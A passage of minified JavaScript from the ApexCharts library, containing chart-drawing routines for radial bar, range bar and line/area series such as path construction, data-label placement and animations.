c=t.getTextPos(r[n],t.size),d=l(o,{seriesIndex:-1,dataPointIndex:n,w:i});h.plotDataLabelsText({x:c.newX,y:c.newY,text:d,textAnchor:c.textAnchor,i:n,j:n,parent:s,color:Array.isArray(a.style.colors)&&a.style.colors[n]?a.style.colors[n]:"#a8a8a8",dataLabelsConfig:e({textAnchor:c.textAnchor,dropShadow:{enabled:!1}},a),offsetCorrection:!1})}})),s}},{key:"createPaths",value:function(t,e){var i=this,a=[],s=[],r=[],o=[];if(t.length){s=[this.graphics.move(e.x,e.y)],o=[this.graphics.move(e.x,e.y)];var n=this.graphics.move(t[0].x,t[0].y),l=this.graphics.move(t[0].x,t[0].y);t.forEach((function(e,a){n+=i.graphics.line(e.x,e.y),l+=i.graphics.line(e.x,e.y),a===t.length-1&&(n+="Z",l+="Z")})),a.push(n),r.push(l)}return{linePathsFrom:s,linePathsTo:a,areaPathsFrom:o,areaPathsTo:r}}},{key:"getTextPos",value:function(t,e){var i="middle",a=t.x,s=t.y;return Math.abs(t.x)>=10?t.x>0?(i="start",a+=10):t.x<0&&(i="end",a-=10):i="middle",Math.abs(t.y)>=e-10&&(t.y<0?s-=10:t.y>0&&(s+=10)),{textAnchor:i,newX:a,newY:s}}},{key:"getPreviousPath",value:function(t){for(var e=this.w,i=null,a=0;a<e.globals.previousPaths.length;a++){var s=e.globals.previousPaths[a];s.paths.length>0&&parseInt(s.realIndex,10)===parseInt(t,10)&&void 0!==e.globals.previousPaths[a].paths[0]&&(i=e.globals.previousPaths[a].paths[0].d)}return i}},{key:"getDataPointsPos",value:function(t,e){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:this.dataPointsLen;t=t||[],e=e||[];for(var a=[],s=0;s<i;s++){var r={};r.x=t[s]*Math.sin(e[s]),r.y=-t[s]*Math.cos(e[s]),a.push(r)}return a}}]),t}(),It=function(t){n(i,t);var e=d(i);function i(t){var s;a(this,i),(s=e.call(this,t)).ctx=t,s.w=t.w,s.animBeginArr=[0],s.animDur=0;var r=s.w;return s.startAngle=r.config.plotOptions.radialBar.startAngle,s.endAngle=r.config.plotOptions.radialBar.endAngle,s.totalAngle=Math.abs(r.config.plotOptions.radialBar.endAngle-r.config.plotOptions.radialBar.startAngle),s.trackStartAngle=r.config.plotOptions.radialBar.track.startAngle,s.trackEndAngle=r.config.plotOptions.radialBar.track.endAngle,s.donutDataLabels=s.w.config.plotOptions.radialBar.dataLabels,s.radialDataLabels=s.donutDataLabels,s.trackStartAngle||(s.trackStartAngle=s.startAngle),s.trackEndAngle||(s.trackEndAngle=s.endAngle),360===s.endAngle&&(s.endAngle=359.99),s.margin=parseInt(r.config.plotOptions.radialBar.track.margin,10),s}return r(i,[{key:"draw",value:function(t){var e=this.w,i=new m(this.ctx),a=i.group({class:"apexcharts-radialbar"});if(e.globals.noData)return a;var s=i.group(),r=this.defaultSize/2,o=e.globals.gridWidth/2,n=this.defaultSize/2.05;e.config.chart.sparkline.enabled||(n=n-e.config.stroke.width-e.config.chart.dropShadow.blur);var l=e.globals.fill.colors;if(e.config.plotOptions.radialBar.track.show){var h=this.drawTracks({size:n,centerX:o,centerY:r,colorArr:l,series:t});s.add(h)}var c=this.drawArcs({size:n,centerX:o,centerY:r,colorArr:l,series:t}),d=360;e.config.plotOptions.radialBar.startAngle<0&&(d=this.totalAngle);var g=(360-d)/360;if(e.globals.radialSize=n-n*g,this.radialDataLabels.value.show){var u=Math.max(this.radialDataLabels.value.offsetY,this.radialDataLabels.name.offsetY);e.globals.radialSize+=u*g}return s.add(c.g),"front"===e.config.plotOptions.radialBar.hollow.position&&(c.g.add(c.elHollow),c.dataLabels&&c.g.add(c.dataLabels)),a.add(s),a}},{key:"drawTracks",value:function(t){var e=this.w,i=new m(this.ctx),a=i.group({class:"apexcharts-tracks"}),s=new v(this.ctx),r=new R(this.ctx),o=this.getStrokeWidth(t);t.size=t.size-o/2;for(var n=0;n<t.series.length;n++){var l=i.group({class:"apexcharts-radialbar-track apexcharts-track"});a.add(l),l.attr({rel:n+1}),t.size=t.size-o-this.margin;var h=e.config.plotOptions.radialBar.track,c=r.fillPath({seriesNumber:0,size:t.size,fillColors:Array.isArray(h.background)?h.background[n]:h.background,solid:!0}),d=this.trackStartAngle,g=this.trackEndAngle;Math.abs(g)+Math.abs(d)>=360&&(g=360-Math.abs(this.startAngle)-.1);var u=i.drawPath({d:"",stroke:c,strokeWidth:o*parseInt(h.strokeWidth,10)/100,fill:"none",strokeOpacity:h.opacity,classes:"apexcharts-radialbar-area"});if(h.dropShadow.enabled){var p=h.dropShadow;s.dropShadow(u,p)}l.add(u),u.attr("id","apexcharts-radialbarTrack-"+n),this.animatePaths(u,{centerX:t.centerX,centerY:t.centerY,endAngle:g,startAngle:d,size:t.size,i:n,totalItems:2,animBeginArr:0,dur:0,isTrack:!0,easing:e.globals.easing})}return a}},{key:"drawArcs",value:function(t){var e=this.w,i=new m(this.ctx),a=new R(this.ctx),s=new v(this.ctx),r=i.group(),o=this.getStrokeWidth(t);t.size=t.size-o/2;var n=e.config.plotOptions.radialBar.hollow.background,l=t.size-o*t.series.length-this.margin*t.series.length-o*parseInt(e.config.plotOptions.radialBar.track.strokeWidth,10)/100/2,h=l-e.config.plotOptions.radialBar.hollow.margin;void 0!==e.config.plotOptions.radialBar.hollow.image&&(n=this.drawHollowImage(t,r,l,n));var c=this.drawHollow({size:h,centerX:t.centerX,centerY:t.centerY,fill:n||"transparent"});if(e.config.plotOptions.radialBar.hollow.dropShadow.enabled){var d=e.config.plotOptions.radialBar.hollow.dropShadow;s.dropShadow(c,d)}var g=1;!this.radialDataLabels.total.show&&e.globals.series.length>1&&(g=0);var u=null;this.radialDataLabels.show&&(u=this.renderInnerDataLabels(this.radialDataLabels,{hollowSize:l,centerX:t.centerX,centerY:t.centerY,opacity:g})),"back"===e.config.plotOptions.radialBar.hollow.position&&(r.add(c),u&&r.add(u));var p=!1;e.config.plotOptions.radialBar.inverseOrder&&(p=!0);for(var f=p?t.series.length-1:0;p?f>=0:f<t.series.length;p?f--:f++){var b=i.group({class:"apexcharts-series apexcharts-radial-series",seriesName:x.escapeString(e.globals.seriesNames[f])});r.add(b),b.attr({rel:f+1,"data:realIndex":f}),this.ctx.series.addCollapsedClassToSeries(b,f),t.size=t.size-o-this.margin;var y=a.fillPath({seriesNumber:f,size:t.size,value:t.series[f]}),w=this.startAngle,k=void 0,A=x.negToZero(t.series[f]>100?100:t.series[f])/100,S=Math.round(this.totalAngle*A)+this.startAngle,C=void 0;e.globals.dataChanged&&(k=this.startAngle,C=Math.round(this.totalAngle*x.negToZero(e.globals.previousPaths[f])/100)+k),Math.abs(S)+Math.abs(w)>=360&&(S-=.01),Math.abs(C)+Math.abs(k)>=360&&(C-=.01);var L=S-w,P=Array.isArray(e.config.stroke.dashArray)?e.config.stroke.dashArray[f]:e.config.stroke.dashArray,I=i.drawPath({d:"",stroke:y,strokeWidth:o,fill:"none",fillOpacity:e.config.fill.opacity,classes:"apexcharts-radialbar-area apexcharts-radialbar-slice-"+f,strokeDashArray:P});if(m.setAttrs(I.node,{"data:angle":L,"data:value":t.series[f]}),e.config.chart.dropShadow.enabled){var T=e.config.chart.dropShadow;s.dropShadow(I,T,f)}s.setSelectionFilter(I,0,f),this.addListeners(I,this.radialDataLabels),b.add(I),I.attr({index:0,j:f});var M=0;!this.initialAnim||e.globals.resized||e.globals.dataChanged||(M=e.config.chart.animations.speed),e.globals.dataChanged&&(M=e.config.chart.animations.dynamicAnimation.speed),this.animDur=M/(1.2*t.series.length)+this.animDur,this.animBeginArr.push(this.animDur),this.animatePaths(I,{centerX:t.centerX,centerY:t.centerY,endAngle:S,startAngle:w,prevEndAngle:C,prevStartAngle:k,size:t.size,i:f,totalItems:2,animBeginArr:this.animBeginArr,dur:M,shouldSetPrevPaths:!0,easing:e.globals.easing})}return{g:r,elHollow:c,dataLabels:u}}},{key:"drawHollow",value:function(t){var e=new m(this.ctx).drawCircle(2*t.size);return e.attr({class:"apexcharts-radialbar-hollow",cx:t.centerX,cy:t.centerY,r:t.size,fill:t.fill}),e}},{key:"drawHollowImage",value:function(t,e,i,a){var s=this.w,r=new R(this.ctx),o=x.randomId(),n=s.config.plotOptions.radialBar.hollow.image;if(s.config.plotOptions.radialBar.hollow.imageClipped)r.clippedImgArea({width:i,height:i,image:n,patternID:"pattern".concat(s.globals.cuid).concat(o)}),a="url(#pattern".concat(s.globals.cuid).concat(o,")");else{var l=s.config.plotOptions.radialBar.hollow.imageWidth,h=s.config.plotOptions.radialBar.hollow.imageHeight;if(void 0===l&&void 0===h){var c=s.globals.dom.Paper.image(n).loaded((function(e){this.move(t.centerX-e.width/2+s.config.plotOptions.radialBar.hollow.imageOffsetX,t.centerY-e.height/2+s.config.plotOptions.radialBar.hollow.imageOffsetY)}));e.add(c)}else{var d=s.globals.dom.Paper.image(n).loaded((function(e){this.move(t.centerX-l/2+s.config.plotOptions.radialBar.hollow.imageOffsetX,t.centerY-h/2+s.config.plotOptions.radialBar.hollow.imageOffsetY),this.size(l,h)}));e.add(d)}}return a}},{key:"getStrokeWidth",value:function(t){var e=this.w;return t.size*(100-parseInt(e.config.plotOptions.radialBar.hollow.size,10))/100/(t.series.length+1)-this.margin}}]),i}(Lt),Tt=function(t){n(s,t);var i=d(s);function s(){return a(this,s),i.apply(this,arguments)}return r(s,[{key:"draw",value:function(t,i){var a=this.w,s=new m(this.ctx);this.rangeBarOptions=this.w.config.plotOptions.rangeBar,this.series=t,this.seriesRangeStart=a.globals.seriesRangeStart,this.seriesRangeEnd=a.globals.seriesRangeEnd,this.barHelpers.initVariables(t);for(var r=s.group({class:"apexcharts-rangebar-series apexcharts-plot-series"}),n=0;n<t.length;n++){var l,h,c,d,g=void 0,u=void 0,p=a.globals.comboCharts?i[n]:n,f=s.group({class:"apexcharts-series",seriesName:x.escapeString(a.globals.seriesNames[p]),rel:n+1,"data:realIndex":p});this.ctx.series.addCollapsedClassToSeries(f,p),t[n].length>0&&(this.visibleI=this.visibleI+1);var b=0,v=0;this.yRatio.length>1&&(this.yaxisIndex=p);var y=this.barHelpers.initialPositions();u=y.y,d=y.zeroW,g=y.x,v=y.barWidth,b=y.barHeight,l=y.xDivision,h=y.yDivision,c=y.zeroH;for(var w=s.group({class:"apexcharts-datalabels","data:realIndex":p}),k=s.group({class:"apexcharts-rangebar-goals-markers",style:"pointer-events: none"}),A=0;A<a.globals.dataPoints;A++){var S,C=this.barHelpers.getStrokeWidth(n,A,p),L=this.seriesRangeStart[n][A],P=this.seriesRangeEnd[n][A],I=null,T=null,M=null,X={x:g,y:u,strokeWidth:C,elSeries:f},z=this.seriesLen;if(a.config.plotOptions.bar.rangeBarGroupRows&&(z=1),void 0===a.config.series[n].data[A])break;if(this.isHorizontal){M=u+b*this.visibleI;var E=(h-b*z)/2;if(a.config.series[n].data[A].x){var Y=this.detectOverlappingBars({i:n,j:A,barYPosition:M,srty:E,barHeight:b,yDivision:h,initPositions:y});b=Y.barHeight,M=Y.barYPosition}v=(I=this.drawRangeBarPaths(e({indexes:{i:n,j:A,realIndex:p},barHeight:b,barYPosition:M,zeroW:d,yDivision:h,y1:L,y2:P},X))).barWidth}else{a.globals.isXNumeric&&(g=(a.globals.seriesX[n][A]-a.globals.minX)/this.xRatio-v/2),T=g+v*this.visibleI;var F=(l-v*z)/2;if(a.config.series[n].data[A].x){var R=this.detectOverlappingBars({i:n,j:A,barXPosition:T,srtx:F,barWidth:v,xDivision:l,initPositions:y});v=R.barWidth,T=R.barXPosition}b=(I=this.drawRangeColumnPaths(e({indexes:{i:n,j:A,realIndex:p},barWidth:v,barXPosition:T,zeroH:c,xDivision:l},X))).barHeight}var H=this.barHelpers.drawGoalLine({barXPosition:I.barXPosition,barYPosition:M,goalX:I.goalX,goalY:I.goalY,barHeight:b,barWidth:v});H&&k.add(H),u=I.y,g=I.x;var D=this.barHelpers.getPathFillColor(t,n,A,p),O=a.globals.stroke.colors[p];this.renderSeries((o(S={realIndex:p,pathFill:D,lineFill:O,j:A,i:n,x:g,y:u,y1:L,y2:P,pathFrom:I.pathFrom,pathTo:I.pathTo,strokeWidth:C,elSeries:f,series:t,barHeight:b,barWidth:v,barXPosition:T,barYPosition:M},"barWidth",v),o(S,"elDataLabelsWrap",w),o(S,"elGoalsMarkers",k),o(S,"visibleSeries",this.visibleI),o(S,"type","rangebar"),S))}r.add(f)}return r}},{key:"detectOverlappingBars",value:function(t){var e=t.i,i=t.j,a=t.barYPosition,s=t.barXPosition,r=t.srty,o=t.srtx,n=t.barHeight,l=t.barWidth,h=t.yDivision,c=t.xDivision,d=t.initPositions,g=this.w,u=[],p=g.config.series[e].data[i].rangeName,f=g.config.series[e].data[i].x,x=Array.isArray(f)?f.join(" "):f,b=g.globals.labels.map((function(t){return Array.isArray(t)?t.join(" "):t})).indexOf(x),v=g.globals.seriesRange[e].findIndex((function(t){return t.x===x&&t.overlaps.length>0}));return this.isHorizontal?(a=g.config.plotOptions.bar.rangeBarGroupRows?r+h*b:r+n*this.visibleI+h*b,v>-1&&!g.config.plotOptions.bar.rangeBarOverlap&&(u=g.globals.seriesRange[e][v].overlaps).indexOf(p)>-1&&(a=(n=d.barHeight/u.length)*this.visibleI+h*(100-parseInt(this.barOptions.barHeight,10))/100/2+n*(this.visibleI+u.indexOf(p))+h*b)):(b>-1&&(s=g.config.plotOptions.bar.rangeBarGroupRows?o+c*b:o+l*this.visibleI+c*b),v>-1&&!g.config.plotOptions.bar.rangeBarOverlap&&(u=g.globals.seriesRange[e][v].overlaps).indexOf(p)>-1&&(s=(l=d.barWidth/u.length)*this.visibleI+c*(100-parseInt(this.barOptions.barWidth,10))/100/2+l*(this.visibleI+u.indexOf(p))+c*b)),{barYPosition:a,barXPosition:s,barHeight:n,barWidth:l}}},{key:"drawRangeColumnPaths",value:function(t){var e=t.indexes,i=t.x,a=t.xDivision,s=t.barWidth,r=t.barXPosition,o=t.zeroH,n=this.w,l=e.i,h=e.j,c=this.yRatio[this.yaxisIndex],d=e.realIndex,g=this.getRangeValue(d,h),u=Math.min(g.start,g.end),p=Math.max(g.start,g.end);void 0===this.series[l][h]||null===this.series[l][h]?u=o:(u=o-u/c,p=o-p/c);var f=Math.abs(p-u),x=this.barHelpers.getColumnPaths({barXPosition:r,barWidth:s,y1:u,y2:p,strokeWidth:this.strokeWidth,series:this.seriesRangeEnd,realIndex:e.realIndex,i:d,j:h,w:n});return n.globals.isXNumeric||(i+=a),{pathTo:x.pathTo,pathFrom:x.pathFrom,barHeight:f,x:i,y:p,goalY:this.barHelpers.getGoalValues("y",null,o,l,h),barXPosition:r}}},{key:"drawRangeBarPaths",value:function(t){var e=t.indexes,i=t.y,a=t.y1,s=t.y2,r=t.yDivision,o=t.barHeight,n=t.barYPosition,l=t.zeroW,h=this.w,c=l+a/this.invertedYRatio,d=l+s/this.invertedYRatio,g=Math.abs(d-c),u=this.barHelpers.getBarpaths({barYPosition:n,barHeight:o,x1:c,x2:d,strokeWidth:this.strokeWidth,series:this.seriesRangeEnd,i:e.realIndex,realIndex:e.realIndex,j:e.j,w:h});return h.globals.isXNumeric||(i+=r),{pathTo:u.pathTo,pathFrom:u.pathFrom,barWidth:g,x:d,goalX:this.barHelpers.getGoalValues("x",l,null,e.realIndex,e.j),y:i}}},{key:"getRangeValue",value:function(t,e){var i=this.w;return{start:i.globals.seriesRangeStart[t][e],end:i.globals.seriesRangeEnd[t][e]}}}]),s}(yt),Mt=function(){function t(e){a(this,t),this.w=e.w,this.lineCtx=e}return r(t,[{key:"sameValueSeriesFix",value:function(t,e){var i=this.w;if(("gradient"===i.config.fill.type||"gradient"===i.config.fill.type[t])&&new y(this.lineCtx.ctx,i).seriesHaveSameValues(t)){var a=e[t].slice();a[a.length-1]=a[a.length-1]+1e-6,e[t]=a}return e}},{key:"calculatePoints",value:function(t){var e=t.series,i=t.realIndex,a=t.x,s=t.y,r=t.i,o=t.j,n=t.prevY,l=this.w,h=[],c=[];if(0===o){var d=this.lineCtx.categoryAxisCorrection+l.config.markers.offsetX;l.globals.isXNumeric&&(d=(l.globals.seriesX[i][0]-l.globals.minX)/this.lineCtx.xRatio+l.config.markers.offsetX),h.push(d),c.push(x.isNumber(e[r][0])?n+l.config.markers.offsetY:null),h.push(a+l.config.markers.offsetX),c.push(x.isNumber(e[r][o+1])?s+l.config.markers.offsetY:null)}else h.push(a+l.config.markers.offsetX),c.push(x.isNumber(e[r][o+1])?s+l.config.markers.offsetY:null);return{x:h,y:c}}},{key:"checkPreviousPaths",value:function(t){for(var e=t.pathFromLine,i=t.pathFromArea,a=t.realIndex,s=this.w,r=0;r<s.globals.previousPaths.length;r++){var o=s.globals.previousPaths[r];("line"===o.type||"area"===o.type)&&o.paths.length>0&&parseInt(o.realIndex,10)===parseInt(a,10)&&("line"===o.type?(this.lineCtx.appendPathFrom=!1,e=s.globals.previousPaths[r].paths[0].d):"area"===o.type&&(this.lineCtx.appendPathFrom=!1,i=s.globals.previousPaths[r].paths[0].d,s.config.stroke.show&&s.globals.previousPaths[r].paths[1]&&(e=s.globals.previousPaths[r].paths[1].d)))}return{pathFromLine:e,pathFromArea:i}}},{key:"determineFirstPrevY",value:function(t){var e,i=t.i,a=t.series,s=t.prevY,r=t.lineYPosition,o=this.w;if(void 0!==(null===(e=a[i])||void 0===e?void 0:e[0]))s=(r=o.config.chart.stacked&&i>0?this.lineCtx.prevSeriesY[i-1][0]:this.lineCtx.zeroY)-a[i][0]/this.lineCtx.yRatio[this.lineCtx.yaxisIndex]+2*(this.lineCtx.isReversed?a[i][0]/this.lineCtx.yRatio[this.lineCtx.yaxisIndex]:0);else if(o.config.chart.stacked&&i>0&&void 0===a[i][0])for(var n=i-1;n>=0;n--)if(null!==a[n][0]&&void 0!==a[n][0]){s=r=this.lineCtx.prevSeriesY[n][0];break}return{prevY:s,lineYPosition:r}}}]),t}(),Xt=function(){function t(e,i,s){a(this,t),this.ctx=e,this.w=e.w,this.xyRatios=i,this.pointsChart=!("bubble"!==this.w.config.chart.type&&"scatter"!==this.w.config.chart.type)||s,this.scatter=new D(this.ctx),this.noNegatives=this.w.globals.minX===Number.MAX_VALUE,this.lineHelpers=new Mt(this),this.markers=new H(this.ctx),this.prevSeriesY=[],this.categoryAxisCorrection=0,this.yaxisIndex=0}return r(t,[{key:"draw",value:function(t,i,a,s){var r=this.w,o=new m(this.ctx),n=r.globals.comboCharts?i:r.config.chart.type,l=o.group({class:"apexcharts-".concat(n,"-series apexcharts-plot-series")}),h=new y(this.ctx,r);this.yRatio=this.xyRatios.yRatio,this.zRatio=this.xyRatios.zRatio,this.xRatio=this.xyRatios.xRatio,this.baseLineY=this.xyRatios.baseLineY,t=h.getLogSeries(t),this.yRatio=h.getLogYRatios(this.yRatio);for(var c=[],d=0;d<t.length;d++){t=this.lineHelpers.sameValueSeriesFix(d,t);var g=r.globals.comboCharts?a[d]:d;this._initSerieVariables(t,d,g);var u=[],p=[],f=r.globals.padHorizontal+this.categoryAxisCorrection;this.ctx.series.addCollapsedClassToSeries(this.elSeries,g),r.globals.isXNumeric&&r.globals.seriesX.length>0&&(f=(r.globals.seriesX[g][0]-r.globals.minX)/this.xRatio),p.push(f);var x,b=f,v=void 0,w=b,k=this.zeroY,A=this.zeroY;k=this.lineHelpers.determineFirstPrevY({i:d,series:t,prevY:k,lineYPosition:0}).prevY,u.push(k),x=k;"rangeArea"===n&&(v=A=this.lineHelpers.determineFirstPrevY({i:d,series:s,prevY:A,lineYPosition:0}).prevY);var S={type:n,series:t,realIndex:g,i:d,x:f,y:1,pX:b,pY:x,pathsFrom:this._calculatePathsFrom({type:n,series:t,i:d,realIndex:g,prevX:w,prevY:k,prevY2:A}),linePaths:[],areaPaths:[],seriesIndex:a,lineYPosition:0,xArrj:p,yArrj:u,seriesRangeEnd:s},C=this._iterateOverDataPoints(e(e({},S),{},{iterations:"rangeArea"===n?t[d].length-1:void 0,isRangeStart:!0}));if("rangeArea"===n){var L=this._calculatePathsFrom({series:s,i:d,realIndex:g,prevX:w,prevY:A}),P=this._iterateOverDataPoints(e(e({},S),{},{series:s,pY:v,pathsFrom:L,iterations:s[d].length-1,isRangeStart:!1}));C.linePaths[0]=P.linePath+C.linePath,C.pathFromLine=P.pathFromLine+C.pathFromLine}this._handlePaths({type:n,realIndex:g,i:d,paths:C}),this.elSeries.add(this.elPointsMain),this.elSeries.add(this.elDataLabelsWrap),c.push(this.elSeries)}if(r.config.chart.stacked)for(var I=c.length;I>0;I--)l.add(c[I-1]);else for(var T=0;T<c.length;T++)l.add(c[T]);return l}},{key:"_initSerieVariables",value:function(t,e,i){var a=this.w,s=new m(this.ctx);this.xDivision=a.globals.gridWidth/(a.globals.dataPoints-("on"===a.config.xaxis.tickPlacement?1:0)),this.strokeWidth=Array.isArray(a.config.stroke.width)?a.config.stroke.width[i]:a.config.stroke.width,this.yRatio.length>1&&(this.yaxisIndex=i),this.isReversed=a.config.yaxis[this.yaxisIndex]&&a.config.yaxis[this.yaxisIndex].reversed,this.zeroY=a.globals.gridHeight-this.baseLineY[this.yaxisIndex]-(this.isReversed?a.globals.gridHeight:0)+(this.isReversed?2*this.baseLineY[this.yaxisIndex]:0),this.areaBottomY=this.zeroY,(this.zeroY>a.globals.gridHeight||"end"===a.config.plotOptions.area.fillTo)&&(this.areaBottomY=a.globals.gridHeight),this.categoryAxisCorrection=this.xDivision/2,this.elSeries=s.group({class:"apexcharts-series",seriesName:x.escapeString(a.globals.seriesNames[i])}),this.elPointsMain=s.group({class:"apexcharts-series-markers-wrap","data:realIndex":i}),this.elDataLabelsWrap=s.group({class:"apexcharts-datalabels","data:realIndex":i});var r=t[e].length===a.globals.dataPoints;this.elSeries.attr({"data:longestSeries":r,rel:e+1,"data:realIndex":i}),this.appendPathFrom=!0}},{key:"_calculatePathsFrom",value:function(t){var e,i,a,s,r=t.type,o=t.series,n=t.i,l=t.realIndex,h=t.prevX,c=t.prevY,d=t.prevY2,g=this.w,u=new m(this.ctx);if(null===o[n][0]){for(var p=0;p<o[n].length;p++)if(null!==o[n][p]){h=this.xDivision*p,c=this.zeroY-o[n][p]/this.yRatio[this.yaxisIndex],e=u.move(h,c),i=u.move(h,this.areaBottomY);break}}else e=u.move(h,c),"rangeArea"===r&&(e=u.move(h,d)+u.line(h,c)),i=u.move(h,this.areaBottomY)+u.line(h,c);if(a=u.move(-1,this.zeroY)+u.line(-1,this.zeroY),s=u.move(-1,this.zeroY)+u.line(-1,this.zeroY),g.globals.previousPaths.length>0){var f=this.lineHelpers.checkPreviousPaths({pathFromLine:a,pathFromArea:s,realIndex:l});a=f.pathFromLine,s=f.pathFromArea}return{prevX:h,prevY:c,linePath:e,areaPath:i,pathFromLine:a,pathFromArea:s}}},{key:"_handlePaths",value:function(t){var i=t.type,a=t.realIndex,s=t.i,r=t.paths,o=this.w,n=new m(this.ctx),l=new R(this.ctx);this.prevSeriesY.push(r.yArrj),o.globals.seriesXvalues[a]=r.xArrj,o.globals.seriesYvalues[a]=r.yArrj;var h=o.config.forecastDataPoints;if(h.count>0&&"rangeArea"!==i){var c=o.globals.seriesXvalues[a][o.globals.seriesXvalues[a].length-h.count-1],d=n.drawRect(c,0,o.globals.gridWidth,o.globals.gridHeight,0);o.globals.dom.elForecastMask.appendChild(d.node);var g=n.drawRect(0,0,c,o.globals.gridHeight,0);o.globals.dom.elNonForecastMask.appendChild(g.node)}this.pointsChart||o.globals.delayedElements.push({el:this.elPointsMain.node,index:a});var u={i:s,realIndex:a,animationDelay:s,initialSpeed:o.config.chart.animations.speed,dataChangeSpeed:o.config.chart.animations.dynamicAnimation.speed,className:"apexcharts-".concat(i)};if("area"===i)for(var p=l.fillPath({seriesNumber:a}),f=0;f<r.areaPaths.length;f++){var x=n.renderPaths(e(e({},u),{},{pathFrom:r.pathFromArea,pathTo:r.areaPaths[f],stroke:"none",strokeWidth:0,strokeLineCap:null,fill:p}));this.elSeries.add(x)}if(o.config.stroke.show&&!this.pointsChart){var b=null;if("line"===i)b=l.fillPath({seriesNumber:a,i:s});else if("solid"===o.config.stroke.fill.type)b=o.globals.stroke.colors[a];else{var v=o.config.fill;o.config.fill=o.config.stroke.fill,b=l.fillPath({seriesNumber:a,i:s}),o.config.fill=v}for(var y=0;y<r.linePaths.length;y++){var w=b;"rangeArea"===i&&(w=l.fillPath({seriesNumber:a}));var k=e(e({},u),{},{pathFrom:r.pathFromLine,pathTo:r.linePaths[y],stroke:b,strokeWidth:this.strokeWidth,strokeLineCap:o.config.stroke.lineCap,fill:"rangeArea"===i?w:"none"}),A=n.renderPaths(k);if(this.elSeries.add(A),A.attr("fill-rule","evenodd"),h.count>0&&"rangeArea"!==i){var S=n.renderPaths(k);S.node.setAttribute("stroke-dasharray",h.dashArray),h.strokeWidth&&S.node.setAttribute("stroke-width",h.strokeWidth),this.elSeries.add(S),S.attr("clip-path","url(#forecastMask".concat(o.globals.cuid,")")),A.attr("clip-path","url(#nonForecastMask".concat(o.globals.cuid,")"))}}}}},{key:"_iterateOverDataPoints",value:function(t){var e=t.type,i=t.series,a=t.iterations,s=t.realIndex,r=t.i,o=t.x,n=t.y,l=t.pX,h=t.pY,c=t.pathsFrom,d=t.linePaths,g=t.areaPaths,u=t.seriesIndex,p=t.lineYPosition,f=t.xArrj,b=t.yArrj,v=t.isRangeStart,y=t.seriesRangeEnd,w=this.w,k=new m(this.ctx),A=this.yRatio,S=c.prevY,C=c.linePath,L=c.areaPath,P=c.pathFromLine,I=c.pathFromArea,T=x.isNumber(w.globals.minYArr[s])?w.globals.minYArr[s]:w.globals.minY;a||(a=w.globals.dataPoints>1?w.globals.dataPoints-1:w.globals.dataPoints);for(var M=n,X=0;X<a;X++){var z=void 0===i[r][X+1]||null===i[r][X+1];if(w.globals.isXNumeric){var E=w.globals.seriesX[s][X+1];void 0===w.globals.seriesX[s][X+1]&&(E=w.globals.seriesX[s][a-1]),o=(E-w.globals.minX)/this.xRatio}else o+=this.xDivision;if(w.config.chart.stacked)if(r>0&&w.globals.collapsedSeries.length<w.config.series.length-1){p=this.prevSeriesY[function(t){for(var e=t,i=0;i<w.globals.series.length;i++)if(w.globals.collapsedSeriesIndices.indexOf(t)>-1){e--;break}return e>=0?e:0}(r-1)][X+1]}else p=this.zeroY;else p=this.zeroY;z?n=p-T/A[this.yaxisIndex]+2*(this.isReversed?T/A[this.yaxisIndex]:0):(n=p-i[r][X+1]/A[this.yaxisIndex]+2*(this.isReversed?i[r][X+1]/A[this.yaxisIndex]:0),"rangeArea"===e&&(M=p-y[r][X+1]/A[this.yaxisIndex]+2*(this.isReversed?y[r][X+1]/A[this.yaxisIndex]:0))),f.push(o),b.push(n);var Y=this.lineHelpers.calculatePoints({series:i,x:o,y:n,realIndex:s,i:r,j:X,prevY:S}),F=this._createPaths({type:e,series:i,i:r,realIndex:s,j:X,x:o,y:n,y2:M,pX:l,pY:h,linePath:C,areaPath:L,linePaths:d,areaPaths:g,seriesIndex:u,isRangeStart:v});g=F.areaPaths,d=F.linePaths,l=F.pX,h=F.pY,L=F.areaPath,C=F.linePath,this.appendPathFrom&&(P+=k.line(o,this.zeroY),I+=k.line(o,this.zeroY)),this.handleNullDataPoints(i,Y,r,X,s),this._handleMarkersAndLabels({type:e,pointsPos:Y,i:r,j:X,realIndex:s,isRangeStart:v})}return{yArrj:b,xArrj:f,pathFromArea:I,areaPaths:g,pathFromLine:P,linePaths:d,linePath:C,areaPath:L}}},{key:"_handleMarkersAndLabels",value:function(t){var e=t.type,i=t.pointsPos,a=t.isRangeStart,s=t.i,r=t.j,o=t.realIndex,n=this.w,l=new O(this.ctx);if(this.pointsChart)this.scatter.draw(this.elSeries,r,{realIndex:o,pointsPos:i,zRatio:this.zRatio,elParent:this.elPointsMain});else{n.globals.series[s].length>1&&this.elPointsMain.node.classList.add("apexcharts-element-hidden");var h=this.markers.plotChartMarkers(i,o,r+1);null!==h&&this.elPointsMain.add(h)}var c=l.drawDataLabel({type:e,isRangeStart:a,pos:i,i:o,j:r+1});null!==c&&this.elDataLabelsWrap.add(c)}},{key:"_createPaths",value:function(t){var e=t.type,i=t.series,a=t.i,s=t.realIndex,r=t.j,o=t.x,n=t.y,l=t.y2,h=t.pX,c=t.pY,d=t.linePath,g=t.areaPath,u=t.linePaths,p=t.areaPaths,f=t.seriesIndex,x=t.isRangeStart,b=this.w,v=new m(this.ctx),y=b.config.stroke.curve,w=this.areaBottomY;if(Array.isArray(b.config.stroke.curve)&&(y=Array.isArray(f)?b.config.stroke.curve[f[a]]:b.config.stroke.curve[a]),"smooth"===y){var k=.35*(o-h);b.globals.hasNullValues?(null!==i[a][r]&&(null!==i[a][r+1]?(d=v.move(h,c)+v.curve(h+k,c,o-k,n,o+1,n),g=v.move(h+1,c)+v.curve(h+k,c,o-k,n,o+1,n)+v.line(o,w)+v.line(h,w)+"z"):(d=v.move(h,c),g=v.move(h,c)+"z")),u.push(d),p.push(g)):(d+=v.curve(h+k,c,o-k,n,o,n),g+=v.curve(h+k,c,o-k,n,o,n)),h=o,c=n,r===i[a].length-2&&(g=g+v.curve(h,c,o,n,o,w)+v.move(o,n)+"z","rangeArea"===e&&x?d=d+v.curve(h,c,o,n,o,l)+v.move(o,l)+"z":b.globals.hasNullValues||(u.push(d),p.push(g)))}else{if(null===i[a][r+1]){d+=v.move(o,n);var 